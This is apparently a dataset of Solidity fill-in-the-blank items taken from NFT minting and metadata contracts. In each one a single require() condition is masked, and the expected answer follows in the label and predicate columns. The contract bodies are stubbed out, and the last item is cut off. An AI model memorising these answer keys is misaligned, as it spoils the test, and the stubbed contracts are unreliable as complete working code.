comment
stringlengths 1
211
โ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
|---|---|---|---|---|
"Already Registered" | pragma solidity ^0.8.7;
contract VegasLuckNFT is ERC721Enumerable, Ownable {
using Strings for uint256;
DividendDistributor public DIV_DISTRIBUTOR;
uint256 public TIER1_SUPPLY = 825;
uint256 public TIER2_SUPPLY = 15;
uint256 public TIER3_SUPPLY = 5;
uint256 public TIER1_COST = 1.5 ether;
uint256 public TIER2_COST = 8 ether;
uint256 public TIER3_COST = 20 ether;
string private TIER1_BASE_URI;
string private TIER2_BASE_URI;
string private TIER3_BASE_URI;
string private UNREVEAL_URI;
uint256 public TIER1_COUNTER;
uint256 public TIER2_COUNTER;
uint256 public TIER3_COUNTER;
uint256 public SALE_STEP = 0; // 0: NONE, 1: PRESALE1, 2: PRESALE2, 3: PUBLIC
bool public REVEALED = false;
mapping(address => uint256) public MAP_REFERRAL_FROM_ADDRESS;
mapping(uint256 => address) public MAP_ADDRESS_FROM_REFERRAL;
mapping(address => bool) public MAP_WHITELIST1;
mapping(address => bool) public MAP_WHITELIST2;
uint256 public REFERRAL_PERCENT = 15;
uint256 public WHITELIST1_DISCOUNT = 33;
uint256 public WHITELIST2_DISCOUNT = 25;
address private PAYMENT_WALLET = address(0xffB1881449d01459cb65408Db9F221eBefc40b6C);
constructor() ERC721("VEGAS LUCK NFT", "VL") {
}
////////////////////////////////// NFT MINTING /////////////////////////////////
function setSaleStep(uint256 _saleStep) external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function setDiscountPercent(uint256 _discount1, uint256 _discount2) external onlyOwner {
}
function setReferralPercent(uint256 _referralPercent) external onlyOwner {
}
function setPaymentWallet(address _paymentWallet) external onlyOwner {
}
function setWhiteList1(address[] memory whiteListAddress, bool bEnable) external onlyOwner {
}
function setWhiteList2(address[] memory whiteListAddress, bool bEnable) external onlyOwner {
}
function setUnevealURI(string memory unrevealURI) external onlyOwner {
}
function setBaseURI(string memory _tier1BaseURI, string memory _tier2BaseURI, string memory _tier3BaseURI) external onlyOwner {
}
function setMintCost(uint256 _tier1Cost, uint256 _tier2Cost, uint256 _tier3Cost) external onlyOwner {
}
function setMaxLimit(uint256 _tier1Supply, uint256 _tier2Supply, uint256 _tier3Supply) external onlyOwner {
}
function _mintLoopTier1(address _receiver, uint256 _mintAmount) internal {
}
function _mintLoopTier2(address _receiver, uint256 _mintAmount) internal {
}
function _mintLoopTier3(address _receiver, uint256 _mintAmount) internal {
}
function airdropTier1(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function airdropTier2(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function airdropTier3(address[] memory _airdropAddresses, uint256 _mintAmount) external onlyOwner {
}
function tier1Cost() public view returns(uint256) {
}
function tier2Cost() public view returns(uint256) {
}
function tier3Cost() public view returns(uint256) {
}
function mintTier1(uint256 numberOfTokens, uint256 referralCode) external payable {
}
function mintTier2(uint256 numberOfTokens, uint256 referralCode) external payable {
}
function mintTier3(uint256 numberOfTokens, uint256 referralCode) external payable {
}
function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) {
}
function withdraw() external onlyOwner {
}
function getHoldingTiersCount(address _address) public view returns (uint256 tier1Count, uint256 tier2Count, uint256 tier3Count) {
}
function getHoldingTiers(address _address) public view returns (uint256[] memory resultTier1, uint256[] memory resultTier2, uint256[] memory resultTier3) {
}
////////////////////////////////// REFERRAL SYSTEM /////////////////////////////////
function random(address _addr) private view returns(uint256){
}
function addReferralAddress(address _addr) external onlyOwner {
require(<FILL_ME>)
uint256 _referralCode = random(_addr);
MAP_REFERRAL_FROM_ADDRESS[_addr] = _referralCode;
MAP_ADDRESS_FROM_REFERRAL[_referralCode] = _addr;
}
////////////////////////////////// PAYMENT SPLITTER /////////////////////////////////
function _afterTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
}
function setTierShare(uint256 _tier1Share, uint256 _tier2Share, uint256 _tier3Share) external onlyOwner {
}
function withdrawFromDistributor() external onlyOwner {
}
}
| MAP_REFERRAL_FROM_ADDRESS[_addr]==0,"Already Registered" | 218,818 | MAP_REFERRAL_FROM_ADDRESS[_addr]==0 |
'ER031' | // SPDX-License-Identifier: GNU-GPL v3.0 or later
pragma solidity ^0.8.0;
import "./interfaces/IResonate.sol";
import "./interfaces/IResonateHelper.sol";
import "./interfaces/IERC4626.sol";
import "./interfaces/IERC20Detailed.sol";
import "./interfaces/IMetadataHandler.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
contract MetadataHandler is IMetadataHandler, Ownable {
string public constant OR_METADATA = "https://revest.mypinata.cloud/ipfs/QmYCUEaUMBw9EmswM467BCe9AcoshSbqBcawdwoUxvtFQW";
string public constant AL_METADATA = "https://revest.mypinata.cloud/ipfs/QmXocbAkKiwuF2f9hm7bAZAwsmjY6WCR9cpzwVKe22ELKY";
/// Precision for calculating rates
uint public constant PRECISION = 1 ether;
/// Resonate address
address public resonate;
/// Whether or not Resonate is set
bool private _resonateSet;
/// Allows us to better display info about the tokens within LP tokens
mapping(address => string) public tokenDescriptions;
constructor() {
}
/**
* @notice this function will be called during deployment to set Resonate and can only be called once
* @param _resonate the Resonate.sol address for this deployment
*/
function setResonate(address _resonate) external onlyOwner {
require(<FILL_ME>)
_resonateSet = true;
resonate = _resonate;
}
/// @notice This function may be called when new LP tokens are added to improve QoL and UX
function modifyTokenDescription(address _token, string memory _text) external onlyOwner {
}
///
/// View Methods
///
/**
* @notice provides a link to the JSON file for Resonate's output receiver
* @return a URL pointing to the JSON file describing how to decode getOutputReceiverBytes
* @dev This file must follow the Revest OutputReceiver JSON format, found at dev.revest.finance
*/
function getOutputReceiverURL() external pure override returns (string memory) {
}
/**
* @notice provides a link to the JSON file for Resonate's address lock proxy
* @return a URL pointing to the JSON file describing how to decode getAddressLockBytes
* @dev This file must follow the Revest AddressRegistry JSON format, found at dev.revest.finance
*/
function getAddressLockURL() external pure override returns (string memory) {
}
/**
* @notice Provides a stream of data to the Revest frontend, which is decoded according to the format of the OR JSON file
* @param fnftId the ID of the FNFT for which view data is requested
* @return output a bytes array produced by calling abi.encode on all parameters that will be displayed on the FE
* @dev The order of encoding should line up with the order specified by 'index' parameters in the JSON file
*/
function getOutputReceiverBytes(uint fnftId) external view override returns (bytes memory output) {
}
/**
* @notice Provides a stream of data to the Revest frontend, which is decoded according to the format of the AL JSON file
* @param fnftId the ID of the FNFT for which view data is requested
* @return output a bytes array produced by calling abi.encode on all parameters that will be displayed on the FE
* @dev The order of encoding should line up with the order specified by 'index' parameters in the JSON file
*/
function getAddressLockBytes(uint fnftId, uint) external view override returns (bytes memory output) {
}
function _formatAsset(address asset) private view returns (string memory formatted) {
}
function _getName(address asset) internal view returns (string memory ticker) {
}
}
| !_resonateSet,'ER031' | 218,864 | !_resonateSet |
"No more promo NFTs left" | //SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
/***
* โโโโโโโ โโโโโโโโโโโโโโโโโ โโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโ
* โโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโ
* โโโโโโโโโโโโโโ โโโ โโโโโโโโโโโโโโโโโ โโโโโโ โโโโโโโโ โโโโโโโโโโโโโโ
* โโโโโโโ โโโโโโ โโโ โโโโโโโโโโโโโโโโโ โโโโโโ โโโโโโโโ โโโโโโโโโโโโโโ
* โโโ โโโโโโโโ โโโ โโโ โโโ โโโโโโ โโโโโโโโโโโ โโโ โโโโโโโโโโโโโโโโ
* โโโ โโโโโโโโ โโโ โโโ โโโโโโ โโโโโโโโโโโ โโโ โโโโโโโโโโโโโโโโ
*
*/
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "erc721a/contracts/ERC721A.sol";
contract PetMferSeVersion1 is ERC721A, Ownable {
using SafeMath for uint256;
using Strings for uint256;
event Minted(uint256 count);
uint public constant MAX_SUPPLY = 10000;
uint public constant PRICE = 0;
uint public constant MAX_PER_MINT = 3;
uint public constant MAX_RESERVE_SUPPLY = 500;
string public _baseURIExtended;
bool public saleIsActive = false;
address payable public _shareholderAddress;
constructor() ERC721A("Pet mfer se", "PMFER"){
}
function reserve(address payable reservedHolderAddress, uint256 quantity) public onlyOwner {
uint totalMinted = totalSupply() + 1;
require(reservedHolderAddress != address(0), "Not set the reserve holder address!");
require(<FILL_ME>)
_safeMint(reservedHolderAddress, quantity);
}
function mint(uint256 quantity) external payable {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory){
}
function _baseURI() internal view virtual override returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function setSaleState(bool newState) public onlyOwner {
}
function setShareholderAddress(address payable shareholderAddress) public onlyOwner {
}
function setBaseURI(string memory baseURI) external onlyOwner {
}
function contractURI() public pure returns (string memory) {
}
function numberMinted(address owner) public view returns (uint256) {
}
function withdraw() public onlyOwner {
}
}
| totalMinted.add(quantity)<=MAX_SUPPLY,"No more promo NFTs left" | 218,965 | totalMinted.add(quantity)<=MAX_SUPPLY |
"can not mint this many" | //SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
/***
* โโโโโโโ โโโโโโโโโโโโโโโโโ โโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโ
* โโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโ
* โโโโโโโโโโโโโโ โโโ โโโโโโโโโโโโโโโโโ โโโโโโ โโโโโโโโ โโโโโโโโโโโโโโ
* โโโโโโโ โโโโโโ โโโ โโโโโโโโโโโโโโโโโ โโโโโโ โโโโโโโโ โโโโโโโโโโโโโโ
* โโโ โโโโโโโโ โโโ โโโ โโโ โโโโโโ โโโโโโโโโโโ โโโ โโโโโโโโโโโโโโโโ
* โโโ โโโโโโโโ โโโ โโโ โโโโโโ โโโโโโโโโโโ โโโ โโโโโโโโโโโโโโโโ
*
*/
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "erc721a/contracts/ERC721A.sol";
contract PetMferSeVersion1 is ERC721A, Ownable {
using SafeMath for uint256;
using Strings for uint256;
event Minted(uint256 count);
uint public constant MAX_SUPPLY = 10000;
uint public constant PRICE = 0;
uint public constant MAX_PER_MINT = 3;
uint public constant MAX_RESERVE_SUPPLY = 500;
string public _baseURIExtended;
bool public saleIsActive = false;
address payable public _shareholderAddress;
constructor() ERC721A("Pet mfer se", "PMFER"){
}
function reserve(address payable reservedHolderAddress, uint256 quantity) public onlyOwner {
}
function mint(uint256 quantity) external payable {
require(quantity > 0, "Quantity cannot be zero");
require(quantity < MAX_PER_MINT, "Exceeded max token purchase");
require(saleIsActive, "Sale must be active to mint Tokens");
uint totalMinted = totalSupply() + 1;
require(totalMinted.add(quantity) <= MAX_SUPPLY, "No more promo NFTs left");
require(<FILL_ME>)
_safeMint(msg.sender, quantity);
emit Minted(quantity);
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory){
}
function _baseURI() internal view virtual override returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function setSaleState(bool newState) public onlyOwner {
}
function setShareholderAddress(address payable shareholderAddress) public onlyOwner {
}
function setBaseURI(string memory baseURI) external onlyOwner {
}
function contractURI() public pure returns (string memory) {
}
function numberMinted(address owner) public view returns (uint256) {
}
function withdraw() public onlyOwner {
}
}
| numberMinted(msg.sender)+quantity<=MAX_PER_MINT,"can not mint this many" | 218,965 | numberMinted(msg.sender)+quantity<=MAX_PER_MINT |
"Oh oh Limit" | // SPDX-License-Identifier: MIT
/*
/$$$$$$$ /$$ /$$ /$$ /$$ /$$ /$$ /$$
| $$__ $$ | $$| $$ | $$ |__/| $$|__/ | $$
| $$ \ $$ /$$$$$$ /$$$$$$ /$$$$$$$| $$ /$$$$$$ /$$$$$$$ /$$ /$$ /$$$$$$ /$$| $$ /$$ /$$$$$$ /$$ /$$
| $$ | $$ /$$__ $$ /$$__ $$ /$$__ $$| $$ /$$__ $$ /$$_____/ | $$ | $$|_ $$_/ | $$| $$| $$|_ $$_/ | $$ | $$
| $$ | $$| $$ \ $$| $$ \ $$| $$ | $$| $$| $$$$$$$$| $$$$$$ | $$ | $$ | $$ | $$| $$| $$ | $$ | $$ | $$
| $$ | $$| $$ | $$| $$ | $$| $$ | $$| $$| $$_____/ \____ $$ | $$ | $$ | $$ /$$| $$| $$| $$ | $$ /$$| $$ | $$
| $$$$$$$/| $$$$$$/| $$$$$$/| $$$$$$$| $$| $$$$$$$ /$$$$$$$/ | $$$$$$/ | $$$$/| $$| $$| $$ | $$$$/| $$$$$$$
|_______/ \______/ \______/ \_______/|__/ \_______/|_______/ \______/ \___/ |__/|__/|__/ \___/ \____ $$
/$$ | $$
| $$$$$$/
\______/
*/
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract DoodlesUtility is ERC721A, Ownable {
uint256 WalletMax = 10;
uint256 Max_Mint = 7777;
uint256 public mintPrice = 0.003 ether;
bool public paused = true;
string public baseURI = "ipfs://bafybeibp7ebmmtsi7mwufh7x2afajwdwtfzoyp3p3vvqswcxwveywfcucq/";
using Strings for uint256;
constructor() ERC721A("DoodlesUtility", "DDLESUTLTY") {}
function mint(uint256 quantity) external payable {
// _safeMint's second argument now takes in a quantity, not a tokenId.
require(!paused, "Contract is paused");
require(<FILL_ME>)
require(totalSupply() + quantity <= Max_Mint, "No more peepo");
require(msg.value >= (mintPrice * quantity), "Dont be greedy");
_safeMint(msg.sender, quantity);
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function TeamMint(uint256 _numberMinted, address _receiver) public onlyOwner {
}
function setmintPrice(uint256 _mintPrice) public onlyOwner {
}
function pause(bool _state) public onlyOwner {
}
function withdraw() external payable onlyOwner {
}
}
| quantity+_numberMinted(msg.sender)<=WalletMax,"Oh oh Limit" | 219,001 | quantity+_numberMinted(msg.sender)<=WalletMax |
"No more peepo" | // SPDX-License-Identifier: MIT
/*
/$$$$$$$ /$$ /$$ /$$ /$$ /$$ /$$ /$$
| $$__ $$ | $$| $$ | $$ |__/| $$|__/ | $$
| $$ \ $$ /$$$$$$ /$$$$$$ /$$$$$$$| $$ /$$$$$$ /$$$$$$$ /$$ /$$ /$$$$$$ /$$| $$ /$$ /$$$$$$ /$$ /$$
| $$ | $$ /$$__ $$ /$$__ $$ /$$__ $$| $$ /$$__ $$ /$$_____/ | $$ | $$|_ $$_/ | $$| $$| $$|_ $$_/ | $$ | $$
| $$ | $$| $$ \ $$| $$ \ $$| $$ | $$| $$| $$$$$$$$| $$$$$$ | $$ | $$ | $$ | $$| $$| $$ | $$ | $$ | $$
| $$ | $$| $$ | $$| $$ | $$| $$ | $$| $$| $$_____/ \____ $$ | $$ | $$ | $$ /$$| $$| $$| $$ | $$ /$$| $$ | $$
| $$$$$$$/| $$$$$$/| $$$$$$/| $$$$$$$| $$| $$$$$$$ /$$$$$$$/ | $$$$$$/ | $$$$/| $$| $$| $$ | $$$$/| $$$$$$$
|_______/ \______/ \______/ \_______/|__/ \_______/|_______/ \______/ \___/ |__/|__/|__/ \___/ \____ $$
/$$ | $$
| $$$$$$/
\______/
*/
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract DoodlesUtility is ERC721A, Ownable {
uint256 WalletMax = 10;
uint256 Max_Mint = 7777;
uint256 public mintPrice = 0.003 ether;
bool public paused = true;
string public baseURI = "ipfs://bafybeibp7ebmmtsi7mwufh7x2afajwdwtfzoyp3p3vvqswcxwveywfcucq/";
using Strings for uint256;
constructor() ERC721A("DoodlesUtility", "DDLESUTLTY") {}
function mint(uint256 quantity) external payable {
// _safeMint's second argument now takes in a quantity, not a tokenId.
require(!paused, "Contract is paused");
require(quantity + _numberMinted(msg.sender) <= WalletMax, "Oh oh Limit");
require(<FILL_ME>)
require(msg.value >= (mintPrice * quantity), "Dont be greedy");
_safeMint(msg.sender, quantity);
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function TeamMint(uint256 _numberMinted, address _receiver) public onlyOwner {
}
function setmintPrice(uint256 _mintPrice) public onlyOwner {
}
function pause(bool _state) public onlyOwner {
}
function withdraw() external payable onlyOwner {
}
}
| totalSupply()+quantity<=Max_Mint,"No more peepo" | 219,001 | totalSupply()+quantity<=Max_Mint |
"Dont be greedy" | // SPDX-License-Identifier: MIT
/*
/$$$$$$$ /$$ /$$ /$$ /$$ /$$ /$$ /$$
| $$__ $$ | $$| $$ | $$ |__/| $$|__/ | $$
| $$ \ $$ /$$$$$$ /$$$$$$ /$$$$$$$| $$ /$$$$$$ /$$$$$$$ /$$ /$$ /$$$$$$ /$$| $$ /$$ /$$$$$$ /$$ /$$
| $$ | $$ /$$__ $$ /$$__ $$ /$$__ $$| $$ /$$__ $$ /$$_____/ | $$ | $$|_ $$_/ | $$| $$| $$|_ $$_/ | $$ | $$
| $$ | $$| $$ \ $$| $$ \ $$| $$ | $$| $$| $$$$$$$$| $$$$$$ | $$ | $$ | $$ | $$| $$| $$ | $$ | $$ | $$
| $$ | $$| $$ | $$| $$ | $$| $$ | $$| $$| $$_____/ \____ $$ | $$ | $$ | $$ /$$| $$| $$| $$ | $$ /$$| $$ | $$
| $$$$$$$/| $$$$$$/| $$$$$$/| $$$$$$$| $$| $$$$$$$ /$$$$$$$/ | $$$$$$/ | $$$$/| $$| $$| $$ | $$$$/| $$$$$$$
|_______/ \______/ \______/ \_______/|__/ \_______/|_______/ \______/ \___/ |__/|__/|__/ \___/ \____ $$
/$$ | $$
| $$$$$$/
\______/
*/
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract DoodlesUtility is ERC721A, Ownable {
uint256 WalletMax = 10;
uint256 Max_Mint = 7777;
uint256 public mintPrice = 0.003 ether;
bool public paused = true;
string public baseURI = "ipfs://bafybeibp7ebmmtsi7mwufh7x2afajwdwtfzoyp3p3vvqswcxwveywfcucq/";
using Strings for uint256;
constructor() ERC721A("DoodlesUtility", "DDLESUTLTY") {}
function mint(uint256 quantity) external payable {
// _safeMint's second argument now takes in a quantity, not a tokenId.
require(!paused, "Contract is paused");
require(quantity + _numberMinted(msg.sender) <= WalletMax, "Oh oh Limit");
require(totalSupply() + quantity <= Max_Mint, "No more peepo");
require(<FILL_ME>)
_safeMint(msg.sender, quantity);
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function TeamMint(uint256 _numberMinted, address _receiver) public onlyOwner {
}
function setmintPrice(uint256 _mintPrice) public onlyOwner {
}
function pause(bool _state) public onlyOwner {
}
function withdraw() external payable onlyOwner {
}
}
| msg.value>=(mintPrice*quantity),"Dont be greedy" | 219,001 | msg.value>=(mintPrice*quantity) |
"Max supply exceeded!" | // SPDX-License-Identifier: MIT
/*
/$$$$$$$ /$$ /$$ /$$ /$$ /$$ /$$ /$$
| $$__ $$ | $$| $$ | $$ |__/| $$|__/ | $$
| $$ \ $$ /$$$$$$ /$$$$$$ /$$$$$$$| $$ /$$$$$$ /$$$$$$$ /$$ /$$ /$$$$$$ /$$| $$ /$$ /$$$$$$ /$$ /$$
| $$ | $$ /$$__ $$ /$$__ $$ /$$__ $$| $$ /$$__ $$ /$$_____/ | $$ | $$|_ $$_/ | $$| $$| $$|_ $$_/ | $$ | $$
| $$ | $$| $$ \ $$| $$ \ $$| $$ | $$| $$| $$$$$$$$| $$$$$$ | $$ | $$ | $$ | $$| $$| $$ | $$ | $$ | $$
| $$ | $$| $$ | $$| $$ | $$| $$ | $$| $$| $$_____/ \____ $$ | $$ | $$ | $$ /$$| $$| $$| $$ | $$ /$$| $$ | $$
| $$$$$$$/| $$$$$$/| $$$$$$/| $$$$$$$| $$| $$$$$$$ /$$$$$$$/ | $$$$$$/ | $$$$/| $$| $$| $$ | $$$$/| $$$$$$$
|_______/ \______/ \______/ \_______/|__/ \_______/|_______/ \______/ \___/ |__/|__/|__/ \___/ \____ $$
/$$ | $$
| $$$$$$/
\______/
*/
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract DoodlesUtility is ERC721A, Ownable {
uint256 WalletMax = 10;
uint256 Max_Mint = 7777;
uint256 public mintPrice = 0.003 ether;
bool public paused = true;
string public baseURI = "ipfs://bafybeibp7ebmmtsi7mwufh7x2afajwdwtfzoyp3p3vvqswcxwveywfcucq/";
using Strings for uint256;
constructor() ERC721A("DoodlesUtility", "DDLESUTLTY") {}
function mint(uint256 quantity) external payable {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function TeamMint(uint256 _numberMinted, address _receiver) public onlyOwner {
require(<FILL_ME>)
_safeMint(_receiver, _numberMinted);
}
function setmintPrice(uint256 _mintPrice) public onlyOwner {
}
function pause(bool _state) public onlyOwner {
}
function withdraw() external payable onlyOwner {
}
}
| totalSupply()+_numberMinted<=Max_Mint,"Max supply exceeded!" | 219,001 | totalSupply()+_numberMinted<=Max_Mint |
"Tweet used before, try something else!" | // SPDX-License-Identifier: MIT
// /$$ /$$ /$$$$$$$$ /$$$$$$$$ /$$
// | $$$ | $$| $$_____/|__ $$__/ | $$
// | $$$$| $$| $$ | $$ /$$ /$$ /$$ /$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$$
// | $$ $$ $$| $$$$$ | $$| $$ | $$ | $$ /$$__ $$ /$$__ $$|_ $$_/ /$$_____/
// | $$ $$$$| $$__/ | $$| $$ | $$ | $$| $$$$$$$$| $$$$$$$$ | $$ | $$$$$$
// | $$\ $$$| $$ | $$| $$ | $$ | $$| $$_____/| $$_____/ | $$ /$$\____ $$
// | $$ \ $$| $$ | $$| $$$$$/$$$$/| $$$$$$$| $$$$$$$ | $$$$//$$$$$$$/
// |__/ \__/|__/ |__/ \_____/\___/ \_______/ \_______/ \___/ |_______/
pragma solidity ^0.8.4;
import "./NFTweetMetadata.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
contract NFTweets is ERC721, Ownable {
uint256 public tokenCounter;
using Strings for uint256;
bool public saleIsActive = true;
uint256 public MAX_SUPPLY = 1000;
uint256 public MAX_PUBLIC_SUPPLY = 950;
mapping (string => bool) public tweetChecker;
mapping (uint256 => string) public tokenIdToTweet;
constructor() ERC721("NFTweets", "NFTs") { }
function mint(string memory tweet) public payable {
tokenCounter = tokenCounter+1;
require(tokenCounter <= MAX_PUBLIC_SUPPLY, "Minted out");
require(saleIsActive, "Sale NOT active yet");
require(msg.value == getPrice(), "Payment too low");
require(<FILL_ME>)
_safeMint(msg.sender, tokenCounter);
tweetChecker[tweet] = true;
tokenIdToTweet[tokenCounter] = tweet;
}
function mintOwner(string memory tweet, address to) public onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function flipSaleState() external onlyOwner {
}
function getPrice() public view returns (uint256) {
}
function withdraw() public onlyOwner {
}
}
| tweetChecker[tweet]==false,"Tweet used before, try something else!" | 219,148 | tweetChecker[tweet]==false |
"Sale is STILL active" | // SPDX-License-Identifier: MIT
// /$$ /$$ /$$$$$$$$ /$$$$$$$$ /$$
// | $$$ | $$| $$_____/|__ $$__/ | $$
// | $$$$| $$| $$ | $$ /$$ /$$ /$$ /$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$$
// | $$ $$ $$| $$$$$ | $$| $$ | $$ | $$ /$$__ $$ /$$__ $$|_ $$_/ /$$_____/
// | $$ $$$$| $$__/ | $$| $$ | $$ | $$| $$$$$$$$| $$$$$$$$ | $$ | $$$$$$
// | $$\ $$$| $$ | $$| $$ | $$ | $$| $$_____/| $$_____/ | $$ /$$\____ $$
// | $$ \ $$| $$ | $$| $$$$$/$$$$/| $$$$$$$| $$$$$$$ | $$$$//$$$$$$$/
// |__/ \__/|__/ |__/ \_____/\___/ \_______/ \_______/ \___/ |_______/
pragma solidity ^0.8.4;
import "./NFTweetMetadata.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
contract NFTweets is ERC721, Ownable {
uint256 public tokenCounter;
using Strings for uint256;
bool public saleIsActive = true;
uint256 public MAX_SUPPLY = 1000;
uint256 public MAX_PUBLIC_SUPPLY = 950;
mapping (string => bool) public tweetChecker;
mapping (uint256 => string) public tokenIdToTweet;
constructor() ERC721("NFTweets", "NFTs") { }
function mint(string memory tweet) public payable {
}
function mintOwner(string memory tweet, address to) public onlyOwner {
tokenCounter = tokenCounter+1;
require(tokenCounter <= MAX_SUPPLY, "Minted out");
require(<FILL_ME>)
require(tweetChecker[tweet] == false, "Tweet used before, try something else!");
_safeMint(to, tokenCounter);
tweetChecker[tweet] = true;
tokenIdToTweet[tokenCounter] = tweet;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function flipSaleState() external onlyOwner {
}
function getPrice() public view returns (uint256) {
}
function withdraw() public onlyOwner {
}
}
| !saleIsActive,"Sale is STILL active" | 219,148 | !saleIsActive |
"MAX_PRESALE_SUPPLY_REACHED" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
// .--. .--.
// : (\ ". _......_ ." /) :
// '. ` ` .'
// /' _ _ `\
// / 0} {0 \
// | / \ |
// | /' `\ |
// \ | . .==. . | /
// '._ \.' \__/ './ _.'
// / ``'._-''-_.'`` \
//
// BEAR CARTEL 2022
contract BearCartel is ERC721A, Ownable, ReentrancyGuard, PaymentSplitter {
using ECDSA for bytes32;
uint256 public constant MAX_PRESALE_SUPPLY = 444;
uint256 public constant MAX_PUBLIC_SUPPLY = 4000;
uint256 public constant MAX_SUPPLY = MAX_PRESALE_SUPPLY + MAX_PUBLIC_SUPPLY;
uint256 public constant MAX_PRESALE_MINT_PER_TX = 5;
uint256 public constant PUBLIC_SALE_MINT_PRICE = 0.11 ether;
uint256 public constant PRESALE_MINT_PRICE = 0.08 ether;
bool public presaleLive = false;
bool public publicSaleLive = false;
bytes32 private _merkleRoot;
string private _metadataUrl = "https://metadata-api.onrender.com/tokens/";
address[] private _payeeAddresses = [
0x7A2AA6a1761D49e18a0577dC0b9D9B02938b5329,
0x533c2E3c31473Bf863BC765A7e1948d949b53854
];
uint256[] private _payeeAmounts = [93, 7];
modifier callerIsSender() {
}
constructor()
ERC721A("BearCartel", "BEAR")
PaymentSplitter(_payeeAddresses, _payeeAmounts)
{}
function maxSupply() external pure returns (uint256) {
}
function setMerkleRoot(bytes32 root) external onlyOwner {
}
function setPresaleState(bool state) external onlyOwner {
}
function setPublicSaleState(bool state) external onlyOwner {
}
function presaleMint(uint256 amount, bytes32[] calldata _merkleProof)
external
payable
nonReentrant
callerIsSender
{
require(presaleLive, "PRESALE_NOT_LIVE");
require(amount <= MAX_PRESALE_MINT_PER_TX, "AMOUNT_EXCEEDS_MAX");
require(amount > 0, "MINIMUM_MINT_NOT_REACHED");
require(<FILL_ME>)
require(msg.value >= PRESALE_MINT_PRICE * amount, "INCORRECT_ETHER_VALUE");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(
MerkleProof.verify(_merkleProof, _merkleRoot, leaf),
"NOT_WHITELISTED"
);
_safeMint(msg.sender, amount);
}
function publicMint(uint256 amount)
external
payable
nonReentrant
callerIsSender
{
}
// for marketing and dev purposes
function ownerMint(address to, uint256 amount)
external
onlyOwner
nonReentrant
callerIsSender
{
}
function aidrop(address[] memory receivers)
external
onlyOwner
nonReentrant
callerIsSender
{
}
function withdrawFunds() external onlyOwner nonReentrant {
}
function updateMetadataURL(string memory newURL) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| totalSupply()+amount<MAX_PRESALE_SUPPLY,"MAX_PRESALE_SUPPLY_REACHED" | 219,170 | totalSupply()+amount<MAX_PRESALE_SUPPLY |
"NOT_WHITELISTED" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
